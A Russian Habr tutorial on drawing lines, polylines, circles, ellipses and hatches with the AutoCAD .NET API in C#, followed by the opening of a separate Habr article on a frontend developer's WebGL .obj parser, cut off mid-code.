# Создание плагинов для AutoCAD с помощью .NET API (часть 4 – вставка примитивных объектов)
Добро пожаловать в четвертую часть [цикла](http://habrahabr.ru/post/235723/), посвященного разработке плагинов под AutoCAD. Предыдущие статьи затрагивали общие вопросы создания плагина — а теперь, вооружившись этими знаниями, можно наконец-то перейти к главной задаче, стоящей перед пользователем AutoCAD: редактированию чертежа.
В этой статье будут разобраны самые простые операции, которые могут потребоваться разработчику: создание и размещение на чертеже графических примитивов (линия, ломаная, окружность, эллипс и круг).
```
public static string disclaimer = "Автор не является профессиональным разработчиком и не обладает глубокими знаниями AutoCAD. Этот пост – просто небольшой рассказ о создании плагина.";
```
Перед работой
=============
Если уважаемый читатель захочет повторить изложенные примеры на своем компьютере, то для упрощения жизни стоит изучить автозагрузку плагинов. Например, можно почитать [пост](http://habrahabr.ru/post/148844/) [Namolem](https://habrahabr.ru/users/namolem/) — там есть упоминание об этом.
Кратко изложу суть проблемы: поскольку после загрузки плагина «выгрузить» его невозможно, единственный способ запустить плагин, код которого был изменен, — это закрыть AutoCAD, затем вновь запустить его и повторно загрузить плагин. Эта пустяковая операция занимает от силы пару минут, однако уже после пятидесяти-ста повторений она начинает дико раздражать, я бы даже сказал — *бесить*.
Автозагрузка плагина позволяет исключить один из этапов этой процедуры, что поможет сберечь пару ~~тысяч~~ нервных клеток.
Линия
=====
Добавление на чертеж линии не представляет никакого труда. Давайте это проделаем, использовав в качестве основы пример, изложенный в [документации](http://help.autodesk.com/view/ACD/2016/ENU/?guid=GUID-47E8A12E-2ED4-4E78-ADA3-AAC9B4223C3C) ([перевод](https://sites.google.com/site/bushmansnetlaboratory/translate-manual/sozdanie-i-redaktirovanie-obektov-autocad/sozdanie-obektov/sozdanie-otrezkov/sozdanie-otrezka-line)).
**Код плагина:**
```
using System;
using System.IO;
using Autodesk.AutoCAD.Runtime;
using Autodesk.AutoCAD.DatabaseServices;
using Autodesk.AutoCAD.Geometry;
using Autodesk.AutoCAD.ApplicationServices;
using acad = Autodesk.AutoCAD.ApplicationServices.Application;
namespace HabrPlug_Primitives
{
public class ClassMyAutoCADDLL
{
public class Commands : IExtensionApplication
{
// эта функция будет вызываться при выполнении в AutoCAD команды "HabrCommand"
[CommandMethod("HabrCommand")]
public void HabrCommand()
{
// получаем текущий документ и его БД
Document acDoc = acad.DocumentManager.MdiActiveDocument;
Database acCurDb = acDoc.Database;
// начинаем транзакцию
using (Transaction acTrans = acCurDb.TransactionManager.StartTransaction())
{
// открываем таблицу блоков документа
BlockTable acBlkTbl;
acBlkTbl = acTrans.GetObject(acCurDb.BlockTableId, OpenMode.ForRead) as BlockTable;
// открываем пространство модели (Model Space) - оно является одной из записей в таблице блоков документа
BlockTableRecord acBlkTblRec;
acBlkTblRec = acTrans.GetObject(acBlkTbl[BlockTableRecord.ModelSpace], OpenMode.ForWrite) as BlockTableRecord;
// создаем линию между точками с указанными координатами
Line acLine = new Line(new Point3d(25, 25, 0), new Point3d(33, 33, 0));
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acLine.SetDatabaseDefaults();
// добавляем созданный объект в пространство модели
acBlkTblRec.AppendEntity(acLine);
// также добавляем созданный объект в транзакцию
acTrans.AddNewlyCreatedDBObject(acLine, true);
// фиксируем изменения
acTrans.Commit();
}
}
// функции Initialize() и Terminate() необходимы, чтобы реализовать интерфейс IExtensionApplication
public void Initialize()
{
}
public void Terminate()
{
}
}
}
}
```
**При создании проекта, конечно, не забываем про всякие мелочи…)**Во-первых, необходимо указать требуемую версию .NET Framework (в моем случае это .NET Framework 3.5).
Во-вторых, нужно добавить ссылки на библиотеки **AcDbMgd.dll** и **AcMgd.dll** и в свойствах этих ссылок запретить копирование библиотек в целевую папку проекта (установить параметр `CopyLocal` в `False`).
Сам код крайне прост, подробно расписывать здесь особо нечего.
Во-первых, мы начинаем транзакцию (что это и зачем нужно, рассматривалось в прошлой статье).
Во-вторых, мы открываем пространство модели (`Model Space`) — это, собственно, и есть наш чертеж. Более четкое определение Model Space можно найти [тут](https://sites.google.com/site/bushmansnetlaboratory/translate-manual/opredelenie-sloeev-i-pecat/prostranstvo-modeli-model-space-i-prostranstvo-lista-paper-space) и [там](http://help.autodesk.com/view/ACD/2016/ENU/?guid=GUID-2A6032EE-58D5-49DB-B7CD-3778A5CFEE0B). Поскольку мы будем добавлять на чертеж новый объект, нужно запросить доступ «Чтение и запись» (`OpenMode.ForWrite`).
В-третьих, мы создаем графический объект (в нашем случае — линию), указав в конструкторе необходимые параметры (в нашем случае — начальную и конечную точки).
В-четвертых, мы должны задать для объекта все свойства. В данном примере мы устанавливаем всем свойствам заданные по умолчанию значения, вызвав для этого функцию `SetDatabaseDefaults()`. Скупое мужское описание этой функции можно найти в [ObjectARX Reference](http://docs.autodesk.com/ACDMAC/2013/ENU/ObjectARX%20Reference/index.html?frmname=topic&frmfile=!!OVERLOADED_setDatabaseDefaults_AcDbEntity.html).
**NB:**на практике для простых случаев вызовом этой функции можно пренебречь, однако есть [мнение](http://forums.autodesk.com/t5/net/when-do-we-need-to-use-setdatabasedefaults/td-p/4370846), что лучше так не делать.
В-пятых, необходимо добавить созданный объект в пространство модели (проще говоря — на чертеж). Это делается с помощью функции `AppendEntity()`.
В-шестых, необходимо добавить созданный объект к транзакции, в рамках которой мы работаем. Для этого используется функция `AddNewlyCreatedDBObject()`, которая уже разбиралась в предыдущей статье.
Наконец, после выполнения всех нужных нам операций мы должны зафиксировать транзакцию, вызвав метод `Commit()`.
После компиляции проекта запускаем AutoCAD, загружаем наш плагин и выполняем команду **HabrCommand**. Результат прост — но зато, надеюсь, понятен и предсказуем.
Если после запуска команды линия на экране так и не появилась — не спешите расстраиваться. Вместо этого убедитесь, что центр координат — точка (0;0) — находится в пределах видимой рабочей области. Кроме того, есть смысл поменять масштаб, покрутив колесом мыши.
Для начинающих пользователей AutoCAD может стать сюрпризом то, что масштабирование чертежа происходит в определенных пределах. Проще говоря, с ходу перейти от масштаба 1000% к масштабу 1% невозможно — после пары прокруток колеса мыши масштаб «упрется» в невидимый ограничитель. Чтобы продолжить масштабирование чертежа, необходимо выполнить команду **REGEN** в командной строке AutoCAD.
**NB:**из личного опыта: если ~~программист вконец упоролся, и ему уже~~ непонятно, какие объекты создаются и создаются ли вообще, то можно открыть чистый чертеж, выполнить на нем интересующий кусок кода и выделить все объекты на чертеже, нажав комбинацию клавиш «Ctrl+A». После этого найти созданные объекты, как правило, не составляет никакого труда.
Давайте освежимся примером.
**Картина ДО:**
Ну и где здесь линия?)
**Картина ПОСЛЕ:**
Притворившуюся пылинкой на мониторе линию с головой выдают синий квадратик и появившееся окно свойств объекта.
Полилиния
=========
Опять же, пример есть в [документации](http://help.autodesk.com/view/ACD/2016/ENU/?guid=GUID-EC036F5A-1F02-40D3-B348-4193BA58CF0C) ([перевод](https://sites.google.com/site/bushmansnetlaboratory/translate-manual/sozdanie-i-redaktirovanie-obektov-autocad/sozdanie-obektov/sozdanie-otrezkov/sozdanie-polilinii-polyline)).
**Код команды:**
```
[CommandMethod("HabrCommand")]
public void HabrCommand()
{
// получаем текущий документ и его БД
Document acDoc = acad.DocumentManager.MdiActiveDocument;
Database acCurDb = acDoc.Database;
// начинаем транзакцию
using (Transaction acTrans = acCurDb.TransactionManager.StartTransaction())
{
// открываем таблицу блоков документа
BlockTable acBlkTbl;
acBlkTbl = acTrans.GetObject(acCurDb.BlockTableId, OpenMode.ForRead) as BlockTable;
// открываем пространство модели (Model Space) - оно является одной из записей в таблице блоков документа
BlockTableRecord acBlkTblRec;
acBlkTblRec = acTrans.GetObject(acBlkTbl[BlockTableRecord.ModelSpace], OpenMode.ForWrite) as BlockTableRecord;
// создаем полилинию
Polyline acPolyline = new Polyline();
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acPolyline.SetDatabaseDefaults();
// добавляем к полилинии вершины
acPolyline.AddVertexAt(0, new Point2d(2, 4), 0, 0, 0);
acPolyline.AddVertexAt(1, new Point2d(4, 8), 0, 0, 0);
acPolyline.AddVertexAt(2, new Point2d(6, 6), 0, 0, 0);
acPolyline.AddVertexAt(3, new Point2d(8, 11), 0, 0, 0);
// добавляем созданный объект в пространство модели
acBlkTblRec.AppendEntity(acPolyline);
// также добавляем созданный объект в транзакцию
acTrans.AddNewlyCreatedDBObject(acPolyline, true);
// фиксируем изменения
acTrans.Commit();
}
}
```
Результат:
Пояснять здесь особенно нечего. При желании с помощью добавления новых точек полилинию можно превратить в ~~троллейбус~~ довольно сложную геометрическую фигуру — например, звездочку…
**...или все-таки троллейбус?**
```
[CommandMethod("HabrCommand")]
public void HabrCommand()
{
// получаем текущий документ и его БД
Document acDoc = acad.DocumentManager.MdiActiveDocument;
Database acCurDb = acDoc.Database;
// начинаем транзакцию
using (Transaction acTrans = acCurDb.TransactionManager.StartTransaction())
{
// открываем таблицу блоков документа
BlockTable acBlkTbl;
acBlkTbl = acTrans.GetObject(acCurDb.BlockTableId, OpenMode.ForRead) as BlockTable;
// открываем пространство модели (Model Space) - оно является одной из записей в таблице блоков документа
BlockTableRecord acBlkTblRec;
acBlkTblRec = acTrans.GetObject(acBlkTbl[BlockTableRecord.ModelSpace], OpenMode.ForWrite) as BlockTableRecord;
// создаем троллейбус
Polyline acPolyline = new Polyline();
// устанавливаем параметры созданного троллейбуса равными параметрам по умолчанию
acPolyline.SetDatabaseDefaults();
// добавляем к троллейбусу вершины
acPolyline.AddVertexAt(0, new Point2d(100, 100), 0, 0, 0);
acPolyline.AddVertexAt(1, new Point2d(100, 650), 0, 0, 0);
acPolyline.AddVertexAt(2, new Point2d(1050, 650), 0, 0, 0);
acPolyline.AddVertexAt(3, new Point2d(650, 1150), 0, 0, 0);
acPolyline.AddVertexAt(4, new Point2d(1050, 650), 0, 0, 0);
acPolyline.AddVertexAt(5, new Point2d(2050, 650), 0, 0, 0);
acPolyline.AddVertexAt(6, new Point2d(2050, 100), 0, 0, 0);
acPolyline.AddVertexAt(7, new Point2d(1950, 100), 0, 0, 0);
acPolyline.AddVertexAt(8, new Point2d(1950, 400), 0, 0, 0);
acPolyline.AddVertexAt(9, new Point2d(1800, 400), 0, 0, 0);
acPolyline.AddVertexAt(10, new Point2d(1800, 100), 0, 0, 0);
acPolyline.AddVertexAt(11, new Point2d(1950, 100), 0, 0, 0);
acPolyline.AddVertexAt(12, new Point2d(1700, 100), 0, 0, 0);
acPolyline.AddVertexAt(13, new Point2d(1660, 170), 0, 0, 0);
acPolyline.AddVertexAt(14, new Point2d(1600, 225), 0, 0, 0);
acPolyline.AddVertexAt(15, new Point2d(1500, 225), 0, 0, 0);
acPolyline.AddVertexAt(16, new Point2d(1440, 170), 0, 0, 0);
acPolyline.AddVertexAt(17, new Point2d(1400, 100), 0, 0, 0);
acPolyline.AddVertexAt(18, new Point2d(850, 100), 0, 0, 0);
acPolyline.AddVertexAt(19, new Point2d(1200, 100), 0, 0, 0);
acPolyline.AddVertexAt(20, new Point2d(1200, 400), 0, 0, 0);
acPolyline.AddVertexAt(21, new Point2d(1000, 400), 0, 0, 0);
acPolyline.AddVertexAt(22, new Point2d(1000, 100), 0, 0, 0);
acPolyline.AddVertexAt(23, new Point2d(1100, 100), 0, 0, 0);
acPolyline.AddVertexAt(24, new Point2d(1100, 400), 0, 0, 0);
acPolyline.AddVertexAt(25, new Point2d(1100, 100), 0, 0, 0);
acPolyline.AddVertexAt(26, new Point2d(850, 100), 0, 0, 0);
acPolyline.AddVertexAt(27, new Point2d(810, 170), 0, 0, 0);
acPolyline.AddVertexAt(28, new Point2d(750, 225), 0, 0, 0);
acPolyline.AddVertexAt(29, new Point2d(650, 225), 0, 0, 0);
acPolyline.AddVertexAt(30, new Point2d(590, 170), 0, 0, 0);
acPolyline.AddVertexAt(31, new Point2d(550, 100), 0, 0, 0);
acPolyline.AddVertexAt(32, new Point2d(100, 100), 0, 0, 0);
acPolyline.AddVertexAt(33, new Point2d(450, 100), 0, 0, 0);
acPolyline.AddVertexAt(34, new Point2d(450, 400), 0, 0, 0);
acPolyline.AddVertexAt(35, new Point2d(250, 400), 0, 0, 0);
acPolyline.AddVertexAt(36, new Point2d(250, 100), 0, 0, 0);
acPolyline.AddVertexAt(37, new Point2d(350, 100), 0, 0, 0);
acPolyline.AddVertexAt(38, new Point2d(350, 400), 0, 0, 0);
// добавляем созданный троллейбус в пространство модели
acBlkTblRec.AppendEntity(acPolyline);
// также добавляем созданный троллейбус в транзакцию
acTrans.AddNewlyCreatedDBObject(acPolyline, true);
// фиксируем изменения
acTrans.Commit();
}
}
```
Да, я тоже заметил, что у троллейбуса нет колес. Но окружности мы рисовать еще не умеем, а квадратные колеса… Нет, пусть уж лучше едет так.
Окружность
==========
Рассмотрим пример добавления на чертеж окружности, прилежно перепечатанный из документации (ссылки были выше).
**Код команды:**
```
[CommandMethod("HabrCommand")]
public void HabrCommand()
{
// получаем текущий документ и его БД
Document acDoc = acad.DocumentManager.MdiActiveDocument;
Database acCurDb = acDoc.Database;
// начинаем транзакцию
using (Transaction acTrans = acCurDb.TransactionManager.StartTransaction())
{
// открываем таблицу блоков документа
BlockTable acBlkTbl;
acBlkTbl = acTrans.GetObject(acCurDb.BlockTableId, OpenMode.ForRead) as BlockTable;
// открываем пространство модели (Model Space) - оно является одной из записей в таблице блоков документа
BlockTableRecord acBlkTblRec;
acBlkTblRec = acTrans.GetObject(acBlkTbl[BlockTableRecord.ModelSpace], OpenMode.ForWrite) as BlockTableRecord;
// создаем окружность
Circle acCircle = new Circle();
// устанавливаем параметры созданного объекта
acCircle.SetDatabaseDefaults();
acCircle.Center = new Point3d(2.5, 3.14, 0);
acCircle.Radius = 4.25;
// добавляем созданный объект в пространство модели
acBlkTblRec.AppendEntity(acCircle);
// также добавляем созданный объект в транзакцию
acTrans.AddNewlyCreatedDBObject(acCircle, true);
// фиксируем изменения
acTrans.Commit();
}
}
```
Никаких сложностей с добавлением на чертеж окружности быть не должно: все, что нужно, — это установить центр и радиус.
Результат:
**NB:**При работе с непрямыми линиями стоит помнить, что в ряде случаев они могут не совсем корректно отображаться на экране.
В частности, если в этом примере выполнить команду **HabrCommand** при большом отдалении, а затем сильно увеличить масштаб (приблизить элементы чертежа), то будет наблюдаться эффект, представленный на картинке ниже. Те, кто часто работает с AutoCAD, наверняка к такому привыкли — а вот я, впервые увидев, во что превратилась моя окружность, очень долго искал ошибку в коде и убил несколько часов, пытаясь «повысить точность отрисовки».)
Для восстановления первозданной формы окружности можно выполнить в командной строке AutoCAD команду **REGEN**:
Еще раз подчеркну, что такой эффект возникает исключительно при *отображении*. Внутри документа окружность всегда остается окружностью, кем бы она ни казалась снаружи.
Эллипс
======
Создание эллипса несколько отличается от создания окружности: его параметры должны быть явно указаны в конструкторе (подробности приведены [здесь](http://adndevblog.typepad.com/autocad/2012/05/creating-an-ellipse.html)).
**Код команды:**
```
[CommandMethod("HabrCommand")]
public void HabrCommand()
{
// получаем текущий документ и его БД
Document acDoc = acad.DocumentManager.MdiActiveDocument;
Database acCurDb = acDoc.Database;
// начинаем транзакцию
using (Transaction acTrans = acCurDb.TransactionManager.StartTransaction())
{
// открываем таблицу блоков документа
BlockTable acBlkTbl;
acBlkTbl = acTrans.GetObject(acCurDb.BlockTableId, OpenMode.ForRead) as BlockTable;
// открываем пространство модели (Model Space) - оно является одной из записей в таблице блоков документа
BlockTableRecord acBlkTblRec;
acBlkTblRec = acTrans.GetObject(acBlkTbl[BlockTableRecord.ModelSpace], OpenMode.ForWrite) as BlockTableRecord;
// определяем параметры эллипса
Point3d center = Point3d.Origin;
Vector3d normal = Vector3d.ZAxis;
Vector3d majorAxis = 100 * Vector3d.XAxis;
double radiusRatio = 0.5;
double startAng = 0.0;
double endAng = Math.PI * 2;
// создаем эллипс, сразу указывая его параметры
Ellipse acEllipse = new Ellipse(center, normal, majorAxis, radiusRatio, startAng, endAng);
// добавляем созданный объект в пространство модели
acBlkTblRec.AppendEntity(acEllipse);
// также добавляем созданный объект в транзакцию
acTrans.AddNewlyCreatedDBObject(acEllipse, true);
// фиксируем изменения
acTrans.Commit();
}
}
```
Результат (синяя линия добавлена для пояснения):
При создании эллипса мы задали ему следующие параметры:
1. Центр (center) эллипса — с этим все понятно.
2. Нормаль (normal) — вектор, перпендикулярный плоскости эллипса. Поскольку мы добавляем объект на плоскость XY, нормалью будет ось Z.
3. Большая ось (majorAxis) — в понятиях AutoCAD это вектор с длиной, равной половине «ширины» эллипса (как синий отрезок на рисунке). В обычной математике это называется «большая полуось». В нашем примере мы задали вектор длиной 100, по направлению совпадающий с осью абсцисс.
4. Радиус (radiusRatio) — определяет, насколько вытянут эллипс. В данном примере максимальная координата эллипса по оси Y составит 100 \* 0.5 = 50.
5. Начальный и конечный углы — определяют начальный и конечный углы отрисовки кривых. Принцип неплохо поясняет картинка ниже, которая взята [отсюда](http://knowledge.autodesk.com/support/autocad-utility-design/getting-started/caas/CloudHelp/cloudhelp/2016/PTB/AutoCAD-ActiveX/files/GUID-5F2762C5-A24D-4A35-92F3-AC31311BE503-htm.html).
Чтобы нарисовать всю фигуру, нужно «пробежать» полный круг, то есть 360 градусов, или 2pi (как в полярной системе координат). Если укажем меньше, получим только часть фигуры.
**Еще один пример эллипса.**Попробуем задать эллипсу новые параметры:
```
Point3d center = Point3d.Origin;
Vector3d normal = Vector3d.ZAxis;
Vector3d majorAxis = 100 * Vector3d.XAxis + 100 * Vector3d.YAxis;
double radiusRatio = 0.5;
double startAng = Math.PI * 0.1;
double endAng = Math.PI * 1.3;
Ellipse acEllipse = new Ellipse(center, normal, majorAxis, radiusRatio, startAng, endAng);
```
Получим следующее (линия проведена для удобства ориентирования):
Поскольку `startAng` больше нуля, верхняя часть эллипса начинается не от оси, а чуть дальше. Поскольку `endAng` сильно не дотягивает до 2pi, нижняя часть эллипса заканчивается значительно раньше положенного.
Наклон обеспечивается за счет задания вектора оси (`majorAxis = 100 * Vector3d.XAxis + 100 * Vector3d.YAxis`). Поскольку X-компонента этого вектора по модулю равна Y-компоненте, получаем наклон 45 градусов.
Длину полуоси можно посчитать по теореме Пифагора: это корень квадратный из суммы квадратов координат X и Y. Вычислив корень квадратный из 1002 + 1002 (итого 20000), получим около 141. Общая длина эллипса, соответственно, составит примерно 282.
Круг
====
Для создания круга можно использовать штриховку — `Hatch` ([документация](http://docs.autodesk.com/CIV3D/2014/RUS/index.html?url=filesACD/GUID-26CEE5F5-F141-4256-B652-859F5D1330B0.htm,topicNumber=ACDd30e703757), [перевод](https://sites.google.com/site/bushmansnetlaboratory/translate-manual/sozdanie-i-redaktirovanie-obektov-autocad/sozdanie-obektov/sozdanie-strihovok-hatches)).
Порядок действий будет таким:
1. Создаем границу штриховки. В качестве границы может выступать любая замкнутая кривая — в нашем случае это будет окружность.
2. Задаем для границы штриховки необходимые свойства.
3. Добавляем границу штриховки на чертеж.
4. Создаем массив объектов, которые будут являться границами штриховки, и добавляем в него нашу границу.
5. Создаем штриховку.
6. Добавляем штриховку на чертеж.
7. Задаем для штриховки необходимые свойства.
Шагов поприбавилось, но они все несложные.
**Код команды:**
```
[CommandMethod("HabrCommand")]
public void HabrCommand()
{
// получаем текущий документ и его БД
Document acDoc = acad.DocumentManager.MdiActiveDocument;
Database acCurDb = acDoc.Database;
// начинаем транзакцию
using (Transaction acTrans = acCurDb.TransactionManager.StartTransaction())
{
// открываем таблицу блоков документа
BlockTable acBlkTbl;
acBlkTbl = acTrans.GetObject(acCurDb.BlockTableId, OpenMode.ForRead) as BlockTable;
// открываем пространство модели (Model Space) - оно является одной из записей в таблице блоков документа
BlockTableRecord acBlkTblRec;
acBlkTblRec = acTrans.GetObject(acBlkTbl[BlockTableRecord.ModelSpace], OpenMode.ForWrite) as BlockTableRecord;
// 1) создаем окружность - границу штриховки
Circle acCircle = new Circle();
// 2) устанавливаем параметры границы штриховки
acCircle.SetDatabaseDefaults();
acCircle.Center = new Point3d(2.5, 3.14, 0);
acCircle.Radius = 4.25;
// 3) добавляем созданную границу штриховки в пространство модели и в транзакцию
acBlkTblRec.AppendEntity(acCircle);
acTrans.AddNewlyCreatedDBObject(acCircle, true);
// 4) добавляем созданную границу штриховки в массив объектов-границ штриховки
ObjectIdCollection acObjIdColl = new ObjectIdCollection();
acObjIdColl.Add(acCircle.ObjectId);
// 5) создаем штриховку
Hatch acHatch = new Hatch();
// 6) добавляем созданную штриховку в пространство модели и в транзакцию
acBlkTblRec.AppendEntity(acHatch);
acTrans.AddNewlyCreatedDBObject(acHatch, true);
// 7) устанавливаем параметры штриховки
acHatch.SetDatabaseDefaults();
acHatch.SetHatchPattern(HatchPatternType.PreDefined, "SOLID");
acHatch.Color = Autodesk.AutoCAD.Colors.Color.FromRgb(0, 200, 0);
acHatch.Associative = true;
acHatch.AppendLoop(HatchLoopTypes.Outermost, acObjIdColl);
acHatch.EvaluateHatch(true);
// фиксируем изменения
acTrans.Commit();
}
}
```
Результат:
Часть, где мы создаем границу штриховки, проблем вызывать не должна — это просто окружность, которую мы создали и поместили на чертеж. Часть, где создается и добавляется на чертеж штриховка, тоже в пояснениях не нуждается. Осталась часть, где мы задаем параметры штриховки. Остановимся на ней поподробнее.
Вначале мы вызываем функцию `setDatabaseDefaults()`, которая устанавливает параметры штриховки равными параметрам по умолчанию. Назначение этой функции было рассмотрено в первом разделе.
Затем мы указываем тип штриховки с помощью функции `SetHatchPattern()`. В данном случае мы хотим нарисовать обычный круг, поэтому выбираем тип `SOLID` — «сплошная».
**NB:**можно задать и другой тип штриховки, помимо сплошной. «Из коробки» AutoCAD предоставляет несколько десятков штриховок — чтобы их узнать, достаточно вызвать свойства объекта Hatch:
Вместо `SOLID` мы могли бы указать что-то другое. Например, указав `HOUND`, мы получили бы такой результат:
Помимо стандартных штриховок (`HatchPatternType.PreDefined`) можно использовать и сторонние, которые предварительно были подключены к AutoCAD. Вот [ссылка](http://adndevblog.typepad.com/autocad/2013/04/einvalidinput-while-creating-hatch-with-customdefined-pattern.html) на пример.
После задания типа штриховки я указал ее цвет (свойство `Color`) с помощью функции `FromRgb(byte ref, byte blue, byte green)`.
Затем следует свойство `Associative` — оно определяет, будет ли штриховка менять размер при изменении размера ее границ.
**Иллюстрация**Вот что произойдет с нашим примером (`Associative = true`) при изменении границ штриховки:
Новый радиус круга — 5, штриховка растянулась под новый радиус.
А вот пример с `Associative = false`:
В разделе «Define the Hatch Boundaries (.NET)» [документации](http://docs.autodesk.com/CIV3D/2014/RUS/index.html?url=filesACD/GUID-26CEE5F5-F141-4256-B652-859F5D1330B0.htm,topicNumber=ACDd30e703757) ([перевод](https://sites.google.com/site/bushmansnetlaboratory/translate-manual/sozdanie-i-redaktirovanie-obektov-autocad/sozdanie-obektov/sozdanie-strihovok-hatches/opredelenie-granic-strihovki)) сказано, что свойство `Associative` должно быть установлено после добавления шриховки в таблицу блоков (то есть на пространство модели) и до вызова метода `AppendLoop`.
Метод `AppendLoop` позволяет указать внешнюю границу штриховки и принимает на вход два параметра: тип границы и массив объектов-границ штриховки. В качестве первого параметра мы указали `HatchLoopTypes.Outermost`, тем самым обозначив, что хотим задать внешнюю границу штриховки. В качестве второго мы указали ранее созданный массив объектов-границ штриховки.
**NB:**при необходимости можно задать несколько внутренних границ в дополнение к внешней и определить поведение штриховки при их пересечении. Подробности есть [здесь](http://help.autodesk.com/view/ACD/2016/ENU/?guid=GUID-89CAED67-B3A0-4045-9D8B-9034D67E8D91); я же ограничусь простеньким примером такой фигуры.
**Код команды:**
```
[CommandMethod("HabrCommand")]
public void HabrCommand()
{
// получаем текущий документ и его БД
Document acDoc = acad.DocumentManager.MdiActiveDocument;
Database acCurDb = acDoc.Database;
// начинаем транзакцию
using (Transaction acTrans = acCurDb.TransactionManager.StartTransaction())
{
// открываем таблицу блоков документа
BlockTable acBlkTbl;
acBlkTbl = acTrans.GetObject(acCurDb.BlockTableId, OpenMode.ForRead) as BlockTable;
// открываем пространство модели (Model Space) - оно является одной из записей в таблице блоков документа
BlockTableRecord acBlkTblRec;
acBlkTblRec = acTrans.GetObject(acBlkTbl[BlockTableRecord.ModelSpace], OpenMode.ForWrite) as BlockTableRecord;
// определяем внешнюю границу
Polyline acPolyline = new Polyline();
acPolyline.SetDatabaseDefaults();
acPolyline.AddVertexAt(0, new Point2d(50, 50), 0, 0, 0);
acPolyline.AddVertexAt(1, new Point2d(150, 285), 0, 0, 0);
acPolyline.AddVertexAt(2, new Point2d(250, 50), 0, 0, 0);
acPolyline.AddVertexAt(3, new Point2d(25, 200), 0, 0, 0);
acPolyline.AddVertexAt(4, new Point2d(275, 200), 0, 0, 0);
acPolyline.AddVertexAt(5, new Point2d(50, 50), 0, 0, 0);
acBlkTblRec.AppendEntity(acPolyline);
acTrans.AddNewlyCreatedDBObject(acPolyline, true);
// определяем массив элементов-внешних границ
ObjectIdCollection acObjIdColl_OUTER = new ObjectIdCollection();
acObjIdColl_OUTER.Add(acPolyline.ObjectId);
// определяем внутреннюю границу
Circle acCircleOut = new Circle();
acCircleOut.SetDatabaseDefaults();
acCircleOut.Center = new Point3d(150, 165, 0);
acCircleOut.Radius = 25;
acBlkTblRec.AppendEntity(acCircleOut);
acTrans.AddNewlyCreatedDBObject(acCircleOut, true);
// определяем массив элементов-внутренних границ
ObjectIdCollection acObjIdColl_INNER = new ObjectIdCollection();
acObjIdColl_INNER.Add(acCircleOut.ObjectId);
// определяем штриховку
Hatch acHatch = new Hatch();
acBlkTblRec.AppendEntity(acHatch);
acTrans.AddNewlyCreatedDBObject(acHatch, true);
// определяем свойства штриховки
acHatch.SetDatabaseDefaults();
acHatch.SetHatchPattern(HatchPatternType.PreDefined, "SOLID");
acHatch.Color = Autodesk.AutoCAD.Colors.Color.FromRgb(200, 0, 0);
acHatch.Associative = false;
acHatch.HatchStyle = HatchStyle.Normal;
// определяем внешние границы штриховки
acHatch.AppendLoop(HatchLoopTypes.Outermost, acObjIdColl_OUTER);
// определяем внутренние границы штриховки
acHatch.AppendLoop(HatchLoopTypes.Default, acObjIdColl_INNER);
acHatch.EvaluateHatch(true);
// фиксируем изменения
acTrans.Commit();
}
}
```
Теперь все параметры созданной штриховки определены. Чтобы штриховка смогла отобразиться на экране, AutoCAD должен выполнить необходимые расчеты. Для выполнения этих расчетов необходимо вызвать функцию `EvaluateHatch()`.
Все необходимые для создания штриховки действия выполнены. Мы уже добавили ее на чертеж и в транзакцию на шаге 6. Теперь осталось зафиксировать транзакцию, чтобы AutoCAD сохранил внесенные нами изменения.
**Напоследок - еще одно примечание про круг.**Иногда даже программисту приходится работать с чертежом прямо в AutoCAD (в одной из следующих статей я хотел рассказать о динамических блоках — там это бывает особенно актуально). В этом случае для создания круга проще всего воспользоваться командой **DONUT** в консоли AutoCAD. Ее синтаксис:
```
DONUT <внутренний радиус> <внешний радиус> <координаты>
```
Вот две команды **DONUT** и результат их выполнения:
```
DONUT 0 25 50,50
DONUT 25 75 200,50
```
Кстати, какой круг больше — черный или белый?)
P. S.
=====
Статья получилась довольно простой — зато, надеюсь, все понятно и доступно. AutoCAD .NET API позволяет вычерчивать и более сложные фигуры — например, дуги и сплайны — но мне с ними работать не доводилось. Информацию об этом, если придется, можно поискать в [документации](http://docs.autodesk.com/MAP/2014/ENU/index.html?url=filesACD/GUID-DE29EA57-7E55-4AC0-B3B3-68749CA0DC0C.htm,topicNumber=ACDd30e705300) ([перевод](https://sites.google.com/site/bushmansnetlaboratory/translate-manual/sozdanie-i-redaktirovanie-obektov-autocad/sozdanie-obektov)).
Вообще, я планировал здесь же рассказать про добавление текста и создание простых блоков, но что-то и так уже прилично набежало. Так что эти вопросы будут освещены в следующей статье.
Спасибо за внимание!
Любые отзывы, замечания и пожелания приветствуются в комментариях.) | https://habr.com/ru/post/257129/ | null | ru | null |
# Знакомство фронтендера с WebGL: четкие линии (часть 3)
Это история в несколько частей:
* [Знакомство фронтендера с WebGL: почему WebGL? (часть 1)](https://habr.com/ru/post/567052/)
* [Знакомство фронтендера с WebGL: первые наброски (часть 2)](https://habr.com/ru/post/567082/)
* Знакомство фронтендера с WebGL: четкие линии (часть 3)
* [Знакомство фронтендера с WebGL: рефакторинг, анимация (часть 4)](https://habr.com/ru/post/567528/)
### Свой .obj парсер, свой webgl
Первое, что я сделал адаптировал код из песочницы и использовал `gl.LINES`.
Извиняюсь за качество, код с той песочницей потерял и даже по памяти результат восстановить не могуПоказав дизайнеру, я ожидал услышать: "все идеально, ты отлично поработал!".
**Но услышал:** "выглядит круто! А теперь добавь текстуры, модель не должна просвечиваться".
И тут я понял, что `gl.LINES` мне никак не помогут с решением задачи. Я пошел не совсем туда. Мне почему-то казалось, что самое важное это линии, но потом понял, что должен был залить цветом модельку и выделить на ней грани поверхностей другим цветом.
Я понял, что мне все же нужны uv (текстурные координаты), потому, что без них невозможно закрашивать фигуру правильно, но те uv который генерировал редактор моделей не подходили для закрашивания. Там была какая-то своя логика по генерации координат.
Подняв этот вопрос с человеком который показал как парсить `obj`. Он мне дал новую песочницу в которой показал, как генерировать текстурные координаты, чем вселил новую надежду. Он так же набросал простейший шейдер который рисовал линии. Взяв его решение, я обновил свою песочницу и обновил парсер.
Код парсера в статье я покажу впервые.
```
const uv4 = [[0, 0], [1, 0], [1, 1], [0, 1]]; // захаркоженные координаты текстур
// функция которая парсит .obj и выплевывает вершины с текстурными координатами.
export function getVBForVSTFromObj(obj) {
const preLines = obj.split(/[\r\n]/).filter(s => s.length);
// функция которая отдавала все строки по первому вхождению
const exNs = (a, fchar) =>
a
.filter(s => s[0] === fchar)
.map(s =>
s
.split(" ")
.filter(s => s.length)
.slice(1)
.map(Number)
);
// та же функция что выше, только для поверхностей (faces) и дополнительно парсила сами поверхности
const exFs = s =>
s
.filter(s => s[0] === "f")
.map(s =>
s
